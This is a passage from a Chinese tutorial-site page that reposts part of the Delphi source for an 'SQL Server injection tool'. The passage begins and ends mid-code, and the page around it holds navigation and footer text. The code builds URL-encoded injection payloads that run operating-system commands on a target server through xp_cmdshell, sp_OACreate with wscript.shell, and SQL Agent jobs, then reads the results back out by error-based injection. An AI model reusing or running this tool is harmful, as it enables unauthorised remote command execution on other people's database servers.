转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> Sql Server >> 正文
SQL Server注入工具 1.0         

SQL Server注入工具 1.0

作者:闵涛 文章来源:闵涛的学习笔记 点击数:3954 更新时间:2007/11/14 12:57:01
nbsp; if cbDisp.Checked then
      begin
        BtnCancel.Visible :=true;
        BtnExecute.Visible :=False;
        //第一种办法
        //把命令执行的结果保存到一个本地文件中,然后将此文件的内容写入到新建的临时表进行输出
        {CommandStr:=Url+'''';EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+CommandStr+''''>C:\Command_Tmp.log''''''''''''+
                        '''';DROP%20TABLE%20[Command_Tmp]''''+
                        '''';CREATE%20TABLE%20[Command_Tmp]([ResultTxt]%20varchar(7996)%20NULL)''''+
                        '''';BULK%20INSERT%20[''''+DbName+'''']..[Command_Tmp]%20FROM%20''''''''C:\Command_Tmp.log''''''''%20WITH%20(KEEPNULLS)''''+
                        '''';Alter%20Table%20[Command_Tmp]%20add%20[ID]%20int%20NOT%20NULL%20IDENTITY%20(1,1)--''''; }

        //第二种办法,直接把命令执行的结果写入数据库中输出,效率较高
        CommandStr :=Url+'''';DROP%20TABLE%20[Command_Tmp];''''+
                         ''''CREATE%20TABLE%20[Command_Tmp]([id]%20int%20NOT%20NULL%20IDENTITY%20(1,1),''''+
                         ''''%20[ResultTxt]%20varchar(1024)%20NULL);''''+
                         ''''insert%20into%20[Command_Tmp](ResultTxt)%20EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+
                         CommandStr+'''''''''''';insert%20into%20[Command_Tmp]%20values%20(''''''''g_over'''''''')--'''';

        if Get(CommandStr) then
        begin
          CountStr :=GetWBMsg(Url+''''%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))''''+
                        ''''%2Bchar(124)%20From%20[Command_Tmp]%20Where%201=1)>0;--'''');
          try
            iCount :=strtoint(CountStr);
          except
            Memo2.Lines.add(''''出现意外数据,操作终止!'''');
            exit;
          end;
          for i:=1 to iCount do
          begin
            ResultStr :='''''''';
            ResultStr :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null''''+
                          ''''%20then%20char(32)%20else%20char(124)%2BResultTxt%2Bchar(124)''''+
                          ''''%20End%20From%20[Command_Tmp]%20Where%20ID=''''+IntToStr(i)+'''')=0;--'''');
            if isCancel then
              Break;
            if (ResultStr<>'''''''') and (ResultStr<>''''未知'''') then
              Memo2.Lines.Add(ResultStr);
          end;
        end;
        if Get(Url+'''';DROP%20TABLE%20[Command_Tmp]--'''') then
        begin
          Memo2.Lines.Add(''''命令执行完成'''');
        end;
      end else
      begin
        CommandStr:=Url+'''';EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+CommandStr+''''''''''''--'''';
        if get(CommandStr) then
          Memo2.Lines.Add(''''命令执行完成。'''');
      end;
    end;
   //OAcreate
   //使用sp_OACreate来运行系统命令
    if rbOA.Checked then
    begin
      //指明当前用户是否为 sysadmin 固定服务器角色的成员
      if get(Url+''''%20And%20Cast(IS_SRVROLEMEMBER(''''''''sysadmin'''''''')%20as%20varchar(1))=1'''') then
      begin
        CommandStr :=Url+'''';use%20''''+DbName+'''';declare%20@o%20int;exec%20''''+
                         ''''sp_oacreate%20''''''''wscript.shell'''''''',@o%20out;exec%20''''+
                         ''''sp_oamethod%20@o,''''''''run'''''''',NULL,''''''''cmd%20/c%20''''+
                         CommandStr+''''''''''''--'''';
        if Get(CommandStr) then
          Memo2.Lines.Add(''''命令执行完成。'''');
      end else
      begin
        Memo2.Lines.Add(''''只有 sysadmin 固定服务器角色的成员才能执行 sp_OACreate。'''');
        exit;
      end;
    end;
    //Job
    //使用SQLSERVERAGENT的JOB来运行系统命令
    if rbJob.Checked then
    begin
      //启动SQLSERVERAGENT
      if Get(Url+'''';exec%20master..xp_servicecontrol%20''''''''start'''''''',''''''''SQLSERVERAGENT'''''''';--'''') then
      begin
        Memo2.Lines.Add(''''SQLSERVERAGENT 启动成功!'''');
        CommandStr :=Url+'''';use%20''''+DbName+'''';exec%20sp_delete_job%20null,''''''''x''''''''''''+
                     &

上一页  [1] [2] [3] [4]  下一页


[Access]sql随机抽取记录  [Access]ASP&SQL让select查询结果随机排序的实现方法
[聊天工具]企业邮件系统的利器----FoxMail Server  [系统软件]OPEN SERVER 5.0.5安装EXP300阵列柜
[系统软件]SQL语句性能优化--LECCO SQL Expert  [系统软件]关于Windows2000Server的灾难恢复
[常用软件][网络]下载服务革命性风暴Poco Server评测  [C语言系列]动态创建SQL Server数据库、表、存储过程等架构信…
[C语言系列]SQL Server到DB2连接服务器的实现  [C语言系列]SQL Server到SYBASE连接服务器的实现
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台